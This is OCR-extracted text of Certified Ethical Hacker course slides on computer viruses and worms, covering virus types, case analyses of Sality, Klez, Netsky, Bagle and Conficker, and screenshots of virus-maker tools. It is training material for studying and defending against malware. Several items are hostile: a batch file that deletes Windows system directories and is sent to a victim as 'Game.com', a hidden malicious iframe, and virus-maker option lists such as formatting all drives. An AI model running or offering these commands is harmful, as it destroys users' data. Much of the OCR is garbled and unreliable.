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SECURITY NEWS

“This doesn't mean that
there are fewer threats or
that the cyber-crime market
is shrinking. Quite the
opposite; it continues to
expand, and by the end of
2010 we will have logged
mare new threats in
Collactive Intelligence than in
2009. Yet it seems as though
hackers are applying
economies of scale, reusing
old malicious code or
prioritizing the distribution of
existing threats over the
creation new ones”, Corrans
concluded.

December 20, 2010 11:56 AM

VTV X0 today.com

IT Perspective for Decision Makers
One third of existing computer viruses were created in Jan-Oct
2010: Panda

PandaLabs, Panda Security’s anti-malware laboratory, stated that, in the first ten months of the
year the number of threats created and distributed account for one third of all viruses that exist.
These means that 34 percent of all malware ever created has appeared in the last ten months.
The company’s collective intelligence database, which automatically detects, analyzes and
classifies 99.4 percent of the threats received, now has 134 million separate files, 60 million of
which are malware (viruses, worms, trojans and other threats).

The report further added that, up to October this y=ar, some 20 million new strains of malware
have been created (including new threats and variants of existing families), the same amount asin
the whole of 2005. The average number of new threats created every day has risen from 55,000
to 63,000.

Despite these dramatic numbers, the speed with which the number of new threats is growing has
dropped since 2008. Since 2003, “new threats have increased at a rate of 100 percent or more.
Yet so farin 2010 the rate of growth is around 50 percant”, explains Luis Corrons, technical
director, PandaLabs.

The company further informed that, although more malicious software is created, its lifespan is
shorter: 54 percent of malware samples are active for just 24 hours, as opposed to the lifespan of
several months enjoyed by the threats of previous years. They now infect just a few systams and
then disappear. As antivirus solutions become able to detect new malware, hackers modify them
or create new ones 50 as to evade detection. This is why it is so important to have protection
technologies such as collective intelligence, which can rapidly neutralize new malware and reduce

the risk window to which users are exposed during these first 24 hours. R T T e

Copyright ® by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn

http://ceh.vn (@l £ NEW S 6
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker




IModule

J Introduction to Virus < Worm Analysis
J Stages of Virus Life J What is Sheep Dip Computer?
J Working of Virus 2 Malware Analysis Procedure
J Virus Analysis J Virus Detection Methods
J Types of Viruses 2 Virus and Worms Countermeasures
J  Writing a Simple Virus Program - Anti-virus Tools
J Computer Worms J Penetration Testing for Virus
L J A J

v

ol

T
=W

Copyright ® by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

=

http://ceh.vn

TEAIR http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

(5, NEWSS 3 :

Canified Ethical Hacker




Module Flow

Virus and Worms Types of Viruses Computer Worms
Concepts

Countermeasures Penetration Testing
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Introduction to Viruses

B Avirus is a self-replicating program that produces its own code by attaching copies of itself
into other executable codes

B Some viruses affect computers as soon as their code is executed; other viruses lie dormant
until a pre-determined logical circumstance is met

Transforms

Corrupts
Itself

Files and

Programs
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Statistics

16.06%

13.64%

Top 13 countries with servers
hosting malicious code
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Stages of Virus Life
1

6
Design ]

Developing virus code

Elimination q

Users install anti-virus
updates and eliminate

Incorporation
the virus threats

Anti-virus software

2

Replication Launch Detection
Virus replicates for a It gets activated with
period of time within i

A virus is identified as
threat infecting target
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Working of Viruses:

- Inthe infection phase, the virus replicates itself and attaches to an .exe file in the system

) Some viruses infect each time they are run and executed completely and others infect only
when users’ trigger them, which can include a day, time, or a particular event

Before Infection

After Infection
- N
.EXE File .EXE File
| File Header File Header '
.exe .exe
assalsenannans IP ‘ B v
«==p==D Start of Prograrn l k> Start of PrOgram g . %
Clean File Virus Infected
End of Program : End of Program : File
g A
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Working of Viruses:

_J Some viruses have trigger events to activate and corrupt systems

) Some viruses have bugs that replicate and perform activities such as file deletion and
increase the session’s time

.J They corrupt the targets only after spreading completely as intended by their developers

Unfragmented File Before Attack
File: A File: B
Page:1 Page: 2 Page: 3 Page: 1 Page: 2 Page: 3
: A A
File Fragmented Due to Virus Attack \ﬁ
Page:1 Page: 3 Page: 1 Page: 3 Page: 2 Page: 2
File: A File: B File: B File: A File: B File: A
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Why Do People Create Computer
Viruses?

\Q Inflict damage to competitors

\0 Financial benefits

% Research projects

L Play prank

Attacker

J Vandalism

/
d Cyber terrorism

Vulnerable
System
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Indications of Virus Attack

Processes Computer Unable to

take more beeps load '
resources with no Operating
and time display system
Abnormal Activities

If the system acts in an
unprecedented manner, you
Computer slows =~ N can suspect a virus attack

down when

programs start
False Positives

alerts

Computer

freezes Files and Hard drive Browser However, not all glitches can
frequently or folders are is accessed window be attributed to virus attacks
encounters missing often "freezes"

error
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How does a Computer get
Infected by Viruses?

rr
-

)

Not running the latest > y < When a user accepts files and
anti-virus application 4 ~ downloads without checking
properly for the source

» >

Not updating and not Opening infected

installing new ) e-mail attachments

versions of plug-ins Installing pirated software
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Virus Hoaxes

_) Hoaxes are false alarms claiming reports about a non-existing virus which may contain
virus attachments

) Warning messages propagating that a certain email message should not be viewed and
doing so will damage one’s system

Subject: FORWARD THIS WARNING AMONG FRIENDS, FAMILY AND CONTACTS

PLEASE FORWARD THIS WARNING AMONG FRIENDS, FAMILY AND CONTACTS! You should be alert during

the next few days. Do not open any message with an attachment entitled 'POSTCARD FROM BEJING' or
'RESIGNATION OF BARACKOBAMA ', regardless of who sent it to you. Itis a virus that opens A
POSTCARD IMAGE, then 'burns' the whole hard C disc of your computer.

This is the worst virus announced by CNN last evening. It has been classified by Microsoft as the most
destructive virus ever. The virus was discovered by McAfee yesterday, and there is no repair yet for this
kind of virus.

This virus simply destroys the Zero Sector of the Hard Disc, where the vital information is kept.

COPYTHIS E-MAIL, AND SEND IT TO YOUR FRIENDS.REMEMBER: IF YOU SEND IT TO THEM, YOU WILL
BENEFIT ALL OF US.

End-of-mail
Thanks.
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Virus Analysis: W32/5ality.AA

W32/Sality-AA is a virus that also
acts as a keylogger and spreads via
email by piggy-backing on
W32/Netsky-T worm

W32/Sality-AA creates the files
= <System>\vemged32.dll
* <System>\vemged32.dll

W32/Sality-AA deletes all files found
on the system with extension ".vdb"
and ".avc" and files that start "drw"
and end " key"

It infects files of ".exe" and ".scr"
on all drives excluding those
under <Windows>

\  The virus logs system information

{{?“E“‘Eﬂ ‘,'; and keystrokes to certain windows
“ci_ﬁiéﬁj

and periodically submits to a
remote website

It modifies <Windows>\system.ini by
adding the following:

®= [MCIDRV_VER]

= DEVICE=<random string>
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Virus Analysis:

) W32/Toal-A is an email-aware virus that arrives as an attachment called BinLaden_Brasil.exe.

_J The subject of the email will be related to the conflict in Afghanistan. This is chosen randomly
from a large selection including:

=1 ALA DIO GOTT ZEUS. JEOVA KROSHINA 1 DRALA | PIESE, 00, SHVA R4, 000809

From: editor@hacker.com s

To: i
Subject: USA against geneva St B
convention ? =
Attached: BinLaden_Brasil.exe.

# L W3
@ 'S b £ EVERTWHENE

: ‘ umnnh&vnw::‘n;m.

6 ALA , Sy TN T Ilm\w-:?__

ttan :d" ; —= L
Best Wishes, R b SRR ; w

ALA 010 l?-nl ZEUS JEOVA KRISHNA 0XUn (MO UGOXID 2605 JEOVA EARSHNALLOXALA DIEU GOD SHIVA TUPA DIOS DEUS

MA D0 GOTT ZEUS JEOVAIKHISHNA OXALA DIEU GOD SMIVA TUPA DIOS OLDS

MA D0 GOTT ZEUS JEOW

ERISHNA 006U B
i ¢ 7 EOVA |

OTT ZEVE

S - LEOMA FEEANA FROUAEHE Y REO § SHIVA, JNPR, S DEUS
AA _DIO_GOTT 7FUS JEOVA KRUSHNA OXAIA DIFU_GOO)

BB SUR L BRPBOK | Yesmew  Jromrvomrizsn.. e

aa oM RIOARRTT
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Virus Analysis: W32/Toal-A

The blank message has MIME Header encoded to exploit vulnerabilities in IE 5.01/5.5
that run an attachment automatically when the email is viewed

If the attached file is executed, it drops the library file INVICTUS.DLL to the Windows
System directory and the virus itself to the Windows directory, using a random 3-letter
name consisting of the upper case characters 'A-O’

The virus may also make a copy of itself in the C:\ directory; these copies of the virus
will have their file attributes set to hidden and read-only

The virus adds its pathname to the “shell=" line in the [Boot] section of
<Windows>\System.ini; this causes the virus to be run automatically each time
the machine is restarted

The virus makes the C: drive shareable by setting various subkeys of:

HRLM\ Software\Microsoft\Windows\CurrentVersion\Network\LanMan\B
inLaden)
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Virus Analysis: W32/Toal-A

\

In particular, it will . The' virus |.00k$ for the
normally target : 3 _active anti-

Netstat.exe and run _ virus products scanners
7 the files HH.EXE and and attempts to

Explorer.exe terminate them

The message box is Various colorful slogans
titled "Worm/I- will be displayed across
Worm/W32.BinLaden' the desktop, along with
and contains below text am DX

Park vvu nesd sors harhinh in your life

Wy %o vahe 20 Maan faem braa il " S S T
Pranilion 91 warae %hae T34 Sanvanavion, A 1 ihesns prenidemn
Tom ane v 2ha £ 25 wanld, o it Toaks aARar war 2ha fiaw
Fow pom Yahe Yha frasdom faom yout v 3o and 2ha weald a0 Lnghing

’ ?
Ohhhh is this the famous American Way of Life ? HAMAHAMA !'!'!

The text is masked intentionally to hide offensive content
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Virus Analysis:

=] ALA DIO GOTT ZEUS JEOVA KRISHNA[QKALA TPIEL GO0 SHIVA (TWRAA DINSuH

Naghboin od
w}’
Racyels B 2l VA 3
: SHIVATOPA nmg
Z 2@ ) ALA DIO |GOTT 2}
i b0 !
o :j;o; HIVA" TUPA" DIOR DESIS” BT " Jeus a6
b e Bush, o rmed more hashish i yous Ve ALA DIGiGOTT
% DR Wh bo take the Amazon from beazl. 4 you ke pokiion ?
b cofieg ] Beazkan ppl wants the USA dettnuckon, nol keou prendsrt. simeling Bush's bals
MSD0S & _JP'W'M\F"« You ave not the cope of the word. and Wodd Trade Center was the fiist
Prompt +J RECYCLED ummmmmmmmmumw»w
& () SIWSS Ohbbh s this the famous A Way of Lie 7 1AHA 0
-@ 3 WANDOW e . I
48 ©) TYWHESS b Ny
Micrasch ALG2) BeBesGOTT ZEUS JC Youlkd more people per day than AIDS, piving money and ams to other couriies “*"HADWW”J'L/“U“UWM{" AISHRA |
Ousook (3 Cortrol Panel 7 Now you are feeing the Lasts of your own porson. . ) SHIVA TUPA DIOS DEUS
6"1' 010 deI!UDN inlighot [Pova Kifr: Ohibhbii am somy . It isnt sweet 2 = — Aumoco:,
e L |- 5
R’EQMRQDIWA"MBQ%H?JOS

ALA DIO GOTT ZEUS JEOVA KRISHNAN Ol DIRUGQDD ZEMSA JEQYA BINGHNALOXALA DIEU GOD SHIVA TUPA DIOS DEUS

ALA DIO GOTT ZEUS JEOVAIKRISHNA OXALA DIEU GOD SHIVA TUPA DIOS DEUS. .. .\ oo, coen peo b

ALA DIO GOTT ZEUS JEOVJ

KRISHNA OXAua ¥ ‘
: LA DIEU HIVA T
QS_JL.QVA..JSBWHNA 03

it RN RO IUESHRRD TP A B YOS DEVS

AA DoAY THCAE Ty il
ALA DIO GOTT ZEUS JEOVA KRISHNA OXALA DIEU GOD|

B G LHAK c BB PEAWRK | Jocorg CW  |[Womn WormmwazBml
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Virus Analysis:

The virus tries to download

HIRE L o shout other ﬁ The virus will then send
FER il emote 1Q site A B ' itself to email addresses :
5 white pages” “- that it finds within the

for a list of keywords ==ae B e

including: "history", : \ e A

"friends", "

, "airplane”

The virus process will normally
terminate itself after 5-10 minutes,
but can also be terminated using
the Task Manager

Countermeasure: Microsoft has issued a patch to protect against this vulnerability at
http://www.microsoft.com/technet/security/bulletin/MS01-027.asp
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Virus Analysis:

J Virut is a family of polymorphic memory-resident appending file infectors that have
EPO (Entry Point Obscuring) capabilities

The virus relocates a certain
amount of bytes from the
entry point of the original file
and writes its initial decryptor
there

4"

Infection
; o i e Methods It appends its code to the end of
The virus writes its initial code :
. : = the file and changes the entry
into a gap (empty space) in the N -
<% 5 point address of the original
end of the original file's code -
: : program so it points to the start
section and redirects the entry A
: v aeas of the appended viral code
point address to that code
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Virus Analysis: W32/Virut

Malicious Website Malicious Website
v 9//0/ ‘Icesse
e S .
9 e Vb, The website and the 5
.. ‘~.,90 =Y files altered by virus A =
‘/_ .',. d : e
‘/s@,{ro“‘ /bf;' Yors y ﬁ : .
Cop, “Cls e ¢ ) . Redirected * .
D"‘er 2 5 S > w 3 t0 Maheiota : Virusinfects
2 > e ...... ‘ s .
SN ) i H = user computer
. User publishes the wehsite . Y
infected filesin to a % \ 'e _ -
2 web server il . .:’7fe (’\fe, . .
. A 8‘7 @@, .
:‘ ',.. /’6p =
', 400{/, i "0 . v
® the Vhe, "%, A

The virus attempts the following activities:

» Attempts to infect .exe and/or .scr files

» Interferes file protection activities provided by
windows

» Embeds the command to give the user access . . .
to the php, asp, htm and htm files in the site in® <iframe src="http://****.pl/rc/" width=1 height=l
A0 ', style="border:0"></iframe>

where virus was trapped in advance
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Virus Analysis: Klez

Klez virus arrives as an email attachment
that automatically runs when viewed or

randomly selected subjects ; Express

It is a memory-resident
mass-mailing worm that
uses its own SMTP engine to
propagate via email

It spoofs its email messages so that
they appear to have been sent by
certain email accounts, including
accounts that are not infected
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Virus Analysis: Klez

Execution

This virus drops a copy
of itself as WINK* . EXE

in the Windows System
folder

(Where * is a random
alphabetical string)

Payload

Once the victim’s
computer is infected, the
Klez virus starts
propagating itself to
other users through
Microsoft Outlook
contact list

Klez Viru

R N
EEEENEEEEREEE

jason@abc.com
jehn@testcom
rebica@ pam.com

-
i
-
"

Autorun

This virus creates this
registry entry so that it is
executed at every
Windows startup:

HEEY LOCAL MACHINE\Soft
ware\Microsoft\Windows\,
CurrentVersion\Run
Winkabc

s

Register

On Windows 2000 and XP,
it sets itself as a service by
creating this registry entry:

tony@abc.com
mica@xyz.com .

EEEEEEEEEEEEEEEE NS

v

v v v v
S =, - . = I—H{EY_LOCP;L_MA{ZH INE\SYST
% % % % % EM\CurrentControlSet\Se

rvices Winkabc
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Module Flow

Virus and Worms Types of Viruses Computer Worms
Concepts

Countermeasures Penetration Testing
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Types of Viruses

System or Stealth Virus/
Boot Sector Tunneling
Viruses Virus

Encryption Polymorphic
Virus Virus

Companion
. Sparse 1
File Cluster Infector Virus/

Viruses Viruses Virus Camouflage
Virus

Multipartite Intrusive
Virus i Virus

What Do They Infect?

Cortiied | Brbical Hovber

=
|

Metamorphic
Virus

Direct Action
or Transient
Virus

Overwriting
File or
Cavity Virus

File Extension
Virus

Terminate and
Stay Resident
Virus (TSR)

Copyright ® by EC-Council

All Rights Reserved. Reproduction is Strictly Prohibited.

http://ceh.vn g FH NEW S R’ : http://i-train.com.vn
TR Tt : CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker




oY Viruses

.J Boot sector virus moves MBR to another location on the hard disk and copies
itself to the original location of MBR

J When system boots, virus code is executed first and then control is passed to
original MBR

Before Infection

. MBR

v

After Infection

v

MBR

=
=
c
w
0
o
Q.
1
A
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File and Multipartite Viruses

File viruses infect files which are

executed or interpreted in the
system such as COM, EXE, SYS,
OVL, OBJ, PRG, MNU and BAT
files

Multipartite Virus

File viruses can be either direct-
action (non-resident) or memory-
resident

Multipartite virus that
attempts to attack both the
boot sector and the
executable or program files
at the same time

A

X

A
<
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Viruses

Attacker User

_ ' / Macro viruses infect
templates or convert
M OSERISEro Yirses infected documents into

are written using ten.qpla.te. flles, vyhnle
maintaining their

Macro viruses infect macro language _
files created by Visual Basic for appearance of ordinary
Microsoft Word or Excel Applications (VBA) document files
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Cluster Viruses

- Cluster viruses modify directory
table entries so that directory

. entries point to the virus code

. instead of the actual program

_ There is only one copy of the
- It will launch itself first when any ' ‘ :

the programs in the computer

. program on the computer system : N\ O system
. is started and then the control is .
. passed to actual program
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/ Viruses

@ These viruses evade the anti-virus software by intercepting its requests to the operating
system

©  Avirus can hide itself by intercepting the anti-virus software’s request to read the file
and passing the request to the virus, instead of the OS

@ The virus can then return an uninfected version of the file to the anti-virus software, so
that it appears as if the file is "clean”

Give me the system
file tcpip.sys to scan

‘Tl v------u--u--u--u--u--u-u--}
3'6 Hides Infected
TCPIP.SYS

Anti-virus
Software

.

“Hereyougo

Original TCPIP.SYS
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Encryption Viruses

ype of virus uses simple

encryptlon to encipher the code -

! ,0. each mfected file

Virus Code

Encryption key 1
Encryption key 2

&
(E;: i : Encryption key 3 A

AV scanner cannot directly detect these
types of viruses using signature
detection methods

Encryption  Encryption Encryption
Virus 1 Virus 2 Virus 3
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Polymorphic Code

Polymorphic code is a code that mutates while keeping the original algorithm intact

2. To enable polymorphic code, the virus has to have a polymorphic engine (also called
mutating engine or mutation engine

3. A well-written polymorphic virus therefore has no parts that stay the same on each
infection

Enuvpi:ed lllllllll:I------'.

- . Engine (EME) SIS

NEWOCaYPIoT
Routine (NDR)

' Encrypted Virus 9. .............. £ E > New Encrypte. 3
1 ——— e T e
: : routine decrypts &
virus code and : | :

mutation eng=s Virus encrypts itself bm

with new key B T e s ST ¢ .

New Polymorphic
2 Virus Does the Damage Virus

User Runs an RAM
Infected Program
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Metamorphic Viruses

Metamorphic viruses rewrite themselves completely each time they are to infect new
executable

9 Metamorphic code can reprogram itself by translating its own code into a temporary
representation and then back to the normal code again

9 For example, W32/Simile consisted of over 14000 lines of assembly code, 90% of it is part of the
metamorphic engine

MetaphoR V1 by tHE meNTAL Dilller/29a B3 deutsChE TelekOM@bY@EnERGY APP2@ =g~ B

MetaphoR V1 by tHE meNTAL Dilles/29a

deutsChE TelekOM@bY@ERERGY RPP2@* g™

a.) Variant A c.) The “Unofficial” Variant C

mEAPHOR 1b BY tHe MeNTAI dilLER/29A B3 mETAPhOr 1C bY tHE mENtal dRIller/29A B

mELAPHOR 1b BY tHe MeNTAI driLER /234 mETAPhDr 1C bY tHE mENtal dRlller/294

b.) Variant B d.) The .D variant (which was the
“official” C of the original author)
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File Overwriting or Cavity Viruses

- Cavity Virus overwrites a part of the host file with a constant (usually nulls),
without increasing the length of the file and preserving its functionality

Sales & marketing management is the
leading authority for executives in the sales
and marketing management industries.
The suspect, Desmond Turner, surrendered
to authorities at a downtown Indianapolis
fast-food restaurant

PDF

Original File Infected File
Size: 45 KB Size: 45 KB
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Sparse Infector Viruses

Sparse infector virus infects
only occasionally (e.g. every
tenth program executed), or

minimize the
probability

Wake up on 15t of
every month and execute code

S b T
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Companion/Camouflage Viruses

A Companion virus creates a companion file for each executable file the
virus infects

Therefore, a companion virus may save itself as notepad.com and every time a
user executes notepad.exe (good program), the computer will load notepad.com
(virus) and infect the system

Virus infects the system with a file Notepad.exe Motepad.com
notepad.com and saves it in

c\winnt\system32 directory
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Shell Viruses

J Virus code forms a shell around the target host program’s code, making itself
the original program and host code as its sub-routine

J Almost all boot program viruses are shell viruses
Before Infection

I Y ——

<— Original Program —>

After Infection
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File Extension Viruses

File extension viruses change the
extensions of files

TXT is safe as it indicates a pure text file

With extensions turned off, if someone
sends you a file named BAD.TXT.VBS, you
will only see BAD.TXT

If you have forgotten that extensions are
turned off, you might think this is a text file
and open it

This is an executable Visual Basic Script
virus file and could do serious damage

Countermeasure is to turn off “Hide file
extensions” in Windows

General \View IFre Types |

Folder views
You can apply the view (such as Detais or Tiles) that

" you are using for this folder to all folders

Apply to Al Folders Reset All Folders

Advanced settings

) Files ar s =
) Folders
[ Dis
s
0 Ds
ao
() H
— 8 olders l
(m nown file types ﬂ

Restore Defaults |

oK I Cancel l Pf |
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Add-on and Intrusive Viruses

Add-on viruses append their code to the host code without making any changes to
the latter or relocate the host code to insert their own code at the beginning

Original Program ‘

Original Program

Intrusive viruses overwrite the host code partly or completely with the viral code

Original Program

Copyright © by EC-GCouncil
All Rights Reserved. Reproduction is Strictly Prohibited.

http://ceh.vn (i EH NEXWS 6 http://i-train.com.vn
oo SR G “  CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design




Transient and Terminate and Stay
Resident Viruses

A,«‘ Basic Infection Techniques ., ’

™ 4
K Direct Action or Transient Termmate and Stay ReSIden?\
Virus Virus (TSR)

all the controls of the
host code to where it

session even after the target
host’s program is executed and
"termmated ca i .,be removed
onlyby oting the systerr

Selects the target program to
be modified and corrupts it
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Writing a Simple Virus Program

Send the Game.com file
as an email attachment
™~ to a victim

-~
Create a batch file Game.bat
[ E R RS SRR RREENDNN NN q

@ echo off g
del c:\winnt\system32\*. * 5
del c:\winnt\*.* . ]

v

ITTITETYY 3

Convert the Game.bat When run it deletes core
batch file to Game.com files in the WINNT directory
using bat2com utility making Windows unusable
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Terabit Virus Maker

1t TeraBIT Virus Maker 2.8 SE

rn Off Monitor Il Funny Start Button
System Volume - Hide Desktop Icons
ose Internet Explorer Every 10 Sec ] Format All Hard Drives
H Slow Down PC Speed M Hide Taskbar - Fake Error Mess

|l Disable Task Manager Il Spread With Floppy ‘
Il Avoid Opening MsConfig Il Avoid Opening Notepad

Il Disable Windows Firewall Il Avoid Opening Wordpad

B Transparent My Computer (100%) ] Hide Start Button

Il OpenClose CD-ROM Every 10 Sec  [Ji] Hide Windows Clock

Il Swap Mouse Buttons Il Avoid Opening Gpedit

[l Disable Regedit |l Disable Screen Saver 2cc EHE 7 o= Syt To Server
Il Locking Drives,Directory [l Disconnect From Internet

M Play Beep Every Sec Il Avoid Opening Yahoo Messenger  ri. nName After nstal

Il Always Clean Clipboard Il Avoid Opening Mozilla Firefox
[l Disable System Restore Il Gradually Fill Hard Disk

|l Disable CMD Il Disable Windows Security Center  File lcon L‘—ﬁ

. Lock Internet Explorer Option Menu . Disable Automatic Updates File Name
Il Remove Run From Start Menu Il Disable Task Scheduler

Il Adding 30 Windows User I Disable Windows Themes 5

I Turn off Computer After 5 Min Il Disable Telnet
. Avoid Opening Media Player . Disable Windows Messenger

Il Avoid Opening Calculator  Funny Mouse
Il Delete Windows Fonts M Funny Keyboard terabit

Il Delete Windows Screen Savers Il Hide Folder Option Menu terabit.infoyahoo. com

Il Remove Desktop Wallpaper Il Delete All Files In My Documents
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JPS Virus Maker

JPS ( Virus Maker 3.0 )
Virus Options :
sable Registry (] Hide Services
>> e MsConfig (] Hide Outiook Expeess

grsble TaskManager (] Hide Windowss Clock
(] Dizable YY'ahoo $
[ Disable Media Palyer { e Al Proccess in Taskmoy
[] Disable internet Exploret [ Hide All Tasks in Taskmgr
[] Disable Time (] Hide Run
(] Disable Group Policy (] Change Explocer Caption
(] Disable Windows Explorer (] Clea Window g
(] Disable Noeton Anti Virus (] Swap Mouse Buttor
[] Disable McAfes Anti Virus
[(] Disable Note Pad
(] Disable Word Pad
(] Disable Windows
(] Disable DHCP Chent
(] Disable Taskbar
[ Dizable Start Button W
(] Disable MSN Messenger (] Destroy Offines (YIMessenger)
(] Disable CMD (] Des Rected Strorage
(] Disable Secunty Center (] Destroy Aucho Service
(] Disable System Restore (] Destroy Cipboad
[(] Dizable Control Panel [ Temnate Windows
(] Disable Desktop lcons (] Hide Cursox
(] Disable Screen S aver ] Auto Startup

O Restat O Log OK ( (1]} ) Hbwinate ) None

Name After Instal: [Rundi32 Server Name: [Sender exe l
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DELmME's Batch Virus Maker

“. DELmE's Batch Virus Maker v 2.0

hfecton Payload | Other Options |

Miscellaneous
@echooff | Swap Mouse Buttons | Change User

Spam Local Disk |  Spam Wih MegBax | Open/Close Disk Tray |
Pay WAXP Seng | Resat Tz | spam Parter |
NetSendSpam |  HdeViusFle | Confuse Fie Extensions|
Bue Screen Of Death | Hide Documents Foider | Hide Mus, Vid. Pic |

Delete..
Delete Al Doc Fes | Deiete Al Tt Fles | Delete Al Pf Fies |

Delete Al Xmi Fles | Deleto Al Mp3Fles | Delete A1 Mpd Fes |
Delete Al Png Fles | Delste Al Exe Fles |  Delete Al Lnk Fies |
ThelsstRestat |  Delte Haldl |  Crash Computer |
Delete My Documerts | Delete MyMusc | Delote My Pictures |

Delete Hetype
Insed Fle Extension To Delete (eg ")

C— | Ca—
[ee ™ peate | i Delets |
e Delete | o | Delee |

Delete Program..
Delete Notepod | Delete Paint

Delete Calculator ] Delete Excel
Delete Access | Delete IExplorer
Intemet Options
[hm //weerwe Juggyboy com
[mp //vewrw google com|
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Module Flow

Virus and Worms Types of Viruses Computer Worms
Concepts

Countermeasures Penetration Testing
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Computer

Computer worms are malicious programs that replicate,
execute, and spread across the network connections
independently without human interaction

Most of the worms are created only to replicate and
spread across a network, consuming available
computing resources; however, some worms carry a
payload to damage the host system

|

/ Attackers use worm payload to install backdoors in

" infected computers, which turns them into zombies
and creates botnet; these botnets can be used to carry

further cyber attacks
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How is a Worm Different from
aVirus?

A worm is a special type of virus that can replicate itself and
use memory, but cannot attach itself to other programs

A worm takes advantage of file or information transport
features on computer systems and spreads through the infected
network automatically but a virus does not
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Example of Worm Infection:
Conficker Worm

The Conficker worm is a computer worm that infects computers and spreads itself to other
computers across a network automatically, without human interaction

Autorun.inf files are placed in
the recycled directory or trash
bin

Users are locked
out of the
directory

Traffic is sent through port 445
on non-Directory Service (DS)
servers

Access to security-
related sites is blocked

Access to
administrator
shared drives is
denied

! -y
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What does the Worm do?
.J The Conficker worm can also disable =1 -’il

important services on your computer Removable Disk (E:)

J In the Autoplay dialog box, the option Open -'
folder to view files — Publisher not
specified was added by the worm [~ Always do this for software and games:

J The highlighted option, Open folder to view Install or run program
files — using Windows Explorer is the
option that Windows provides and the )
option you should use

Open folder to view files

lisher not specifie

, : General options
) If you select the first option, the worm

executes and can begin to spread itself to .
other computers

Open folder to view fileq
sing Windows Explorer

:?) Speed up my system
S > using Windows ReadyBoost

Set AutoPlay defaults in Control Panel

Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

TEAIR http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker

http://cehvn (@l EE. NEWS &




7~

How does the

|
B & Ry "
Ry by B
. J R
Shared computers

7
with weak passwords

Worm Work?

\d .
*
o S cmmmm—
- G2
A q*
ot \
0‘ /| W
- .’ { ) "
p - /4 3 N
. v i / !
= *
.
.

Compute'fs with proper password
policy, security updates, anti-

virus, and secured shares

Conticker attempts to make
numerous connections to
1 computers across the network
Computers with Computers without latest
open shares

security updates
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Worm Analysis: W32/Netsky

W32/Netsky-A is a worm that spreads using email and Windows network shares

It searches all mapped drives for files with these extensions in order to find email adresses:
MSG, OFT, SHT, DBX, TBB, ADB, DOC, WAB, ASP, UIN, RTF, VBS, HTML, HTM, PL, PHP, TXT, EML

angels . pif, coolscreensaver.scr,
The worm will dictionary.doc.exe, dolly buster.jpg.pif,
also attempt to doom2 .doc.pif, e.book.doc.exe, e-
. . book.archive.doc.exe, eminem-lickmypussy.mp3.pif,

copy itself into hardcoreporn. jpg.exe, howtohack.doc.exe,
matrix.scr, maxpayneZ2.crack.exe, nero.7.exe
office crack.exe, photoshopScrack.exe, porno.scr,
programmingbasics.doc.exe, rfccompilation.doc.exe,
serial .txt.exe, sexsexsexsex.doc.exe,
strippoker _exe, virii.scr, winlonghorn.doc.exe,
winxp crack.exe
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Worm Analysis: W32/Netsky

W32/Netsky-A may arrive in an email with these characteristics:

Sender: auctions@yahoo.com/responder@amazon.com/fauctions@msn.com

Subject lines: Re: Auction Successful/Re: Approved/Re: Details/Re: Document/Re: Excel file
#—————————  message was sent by automail agent——————————#
Congratulation!!!

You were successful in the auction Auction ID <random>  Product ID <random>

A detailed description about the product are attached to this mail. Please contact this seller
Thank you!

Attached File: — =————=

HEIM\ Software\Microsoft\Windows\CurrentvVers
ion\Run'
service= "C:\\WINDOWS\\services.exe -serv

When the file is . In order to run

extracted and opened tNBZ/INetsky—A copies automatically when
. . itself into the

the virus may display Windows starts up

the message "The file Wlnt_:lows 1OIGSESS W32/Netsky-A creates
services.exe

could not be opened” above registry entry )
- J .
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Worm Analysis: W32/Bagle.GE
W32/Bagle.GE worm is embedded in an e-mail attachment,
and spreads using the infected computer's e-mailing networks

It hides itself and other Bagle components using rootkit It tries to disable several AV

techniques and other security related
software

Rootkit Details

Bagle.GE loads a kernel-mode

Installation

When Bagle.GE is run, it creates a directory named ‘hidires’
in the user's 'Application Data' folder. It copies itself as
$User%\Application Data\hidires\hidr.exe driver (m_hook.sys) that it uses to
hide itself and another Bagle
related malware, Email-
Worm:W32/Bagle.GF

The trojan also draps the following driver file to the same
folder:

%Usert\Application

Data\hidires\m _hook.sys

The trojan installs the following registry launchpoint as a Hidden Items

string value:

n
[HKCU\ SOFTWARE\Microsoft\Windows\Current Processes

Version\Run] "drvsyskit" = ®»  Files and directories
"$Systemt\hidr.exe"

* Registry keys and values
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Worm Maker: Internet Worm Maker Thing

£ ] tntemet worm Maker Thing :- Version 4.00 :- Public Edition

INTERNET WORM MAKER THING V4

Message:

Helo

W Indude [C] Notce
Output Path:

C:\

V' Comple To EXE Support

Speeadng Optons
Startup:
[V Global Registry Startup
V' Local Regstyy Startup
[V Winkogon Shel Hook
[V Start As Service
W Engish Startp
V' German Startup
V' Spamsh Startp
W French Startup
M ltshen Startp

Payloads:
" Activate Payloads On Date

Day:

[ 2 =
OoR

& Randomly Activate Payloads

Chance of activating payicads:

NS owxe

[V Hide NI Drives

[V Disable Task Manager

v Desable Keybord

[V Disable Mouse

¥ Message Box
Tithe:

Juggyboy

[T Change Reg Organisation
Orgaration:

Juggyboy Network

¥ Change Homepage
URL:

Ttp:ffweww. uggyboy.

[V Disable Windows Security
[7 Dicable New trn Sovy ity
[V Uninstal Norton Script Bloding
[V Disable Macro Security
[V Disable Run Comand

[v Disable Shwtdown

[V Disable Logoff

[V Disable Windows Update
[V Mo Search Command

[V Swap Mouse Buttons

[V Open Webpege

URL:

¥ Change IE Title Bar
Text:

llm»'.m‘

[¥ Change Win Media Player Txt
Text:

¥ Open Cd Drives

¥ Lock Workstaton

V' LoWisas He ﬂ]
URL:

Save As:

C: Vuggy.exe

[V Exeaute Downloaded

' Print Message ¥ Change Date

You Got Hacked by Ju oo MM oYY
¥ Disable System Restore |01 [Ji 2111
V' Change NOD32 Text  Fay a Sound
Tite: F:‘.nncow:mmr.
F;ﬂ—;ea

¥ Loop Seund

oo [ Hde Deskiop

Thes & Ridadous ol Disat e
Remove
?
7 OutlookFun1 _2 | =
